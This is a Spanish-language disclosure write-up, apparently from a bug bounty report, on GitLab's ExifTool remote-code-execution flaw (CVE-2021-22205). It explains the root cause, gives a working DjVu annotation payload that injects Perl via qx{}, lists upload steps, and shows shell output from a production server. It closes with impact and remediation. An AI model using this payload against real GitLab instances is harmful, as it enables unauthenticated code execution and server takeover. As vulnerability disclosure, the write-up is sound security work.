Resumen
Este es de esos fallos que dan un poco de vértigo por lo pequeño que es el gesto que lo dispara: subir una imagen. En GitLab, cuando subías un fichero con extensión jpg, jpeg o tiff, el componente Workhorse lo pasaba por ExifTool para quitarle los metadatos que no estuvieran en la lista blanca. Una medida de higiene de lo más razonable… salvo por un detalle.
ExifTool no se fía de la extensión: mira el contenido del fichero para decidir qué es. Así que renombrando el fichero se podía obligar a que entrara en juego cualquiera de sus analizadores, no solo el de JPEG o TIFF. ¿El problema? Uno de esos formatos soportados es DjVu, y al procesar su anotación ExifTool pasaba los tokens por un eval de Perl para "convertir secuencias de escape de C". Ahí estaba la puerta.
Pasos de reproducción
La validación intentaba asegurarse de que todo estuviera bien escapado, pero se le escapaba (nunca mejor dicho) un caso: una barra invertida seguida de un salto de línea. Con eso se podían cerrar las comillas e inyectar Perl que se ejecutaba tal cual:
(metadata
(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )
Con esa anotación dentro de un fichero DjVu, el resto es casi decepcionantemente sencillo:
- Renombrar ese fichero DjVu como
echo_vakzz.jpg. - Crear un snippet nuevo y, en la descripción, pulsar "Attach a file".
- Subir el fichero.
- Comprobar que en el servidor ha aparecido
/tmp/vakzz: el comando se ejecutó.
Cambiando ese echo por una reverse shell, subir el fichero a https://gitlab.com/-/snippets/new devolvía directamente una shell en producción, con el usuario git:
id
uid=500(git) gid=500(git) groups=500(git)
hostname -a
web-09-sv-gprd
Impacto
Aquí no hay que adornar mucho: es ejecución remota de código sin autenticación previa real, porque adjuntar un fichero es algo que puede hacer casi cualquiera. Se convirtió en la CVE-2021-22205 y, por desgracia, en una de las más explotadas en masa contra instancias de GitLab sin actualizar. Un servidor de código fuente comprometido a este nivel es, básicamente, las llaves de todo lo que hay dentro.
Remediación
GitLab dejó de invocar a ExifTool de esa manera sobre ficheros no confiables y actualizó la dependencia. Pero la lección de fondo va más allá del parche concreto: nunca dejes que un analizador decida por su cuenta el tipo de un fichero que viene del usuario y lo procese con toda su potencia. Si algo tiene que "convertir" o "normalizar" datos ajenos, que lo haga aislado y con el mínimo de funcionalidad posible; ese eval escondido dentro de una librería de metadatos es justo lo que nadie audita hasta que es tarde.